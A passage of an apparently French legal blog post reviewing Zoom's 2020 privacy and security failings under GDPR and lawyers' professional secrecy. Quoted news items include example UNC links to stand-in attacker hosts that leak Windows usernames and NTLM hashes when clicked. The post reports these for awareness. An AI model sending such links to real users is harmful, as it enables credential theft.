-->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Absence de chiffrage ou encryptage</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”</em></li><li><em>On 4/3, Citizen Lab&nbsp;<a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les 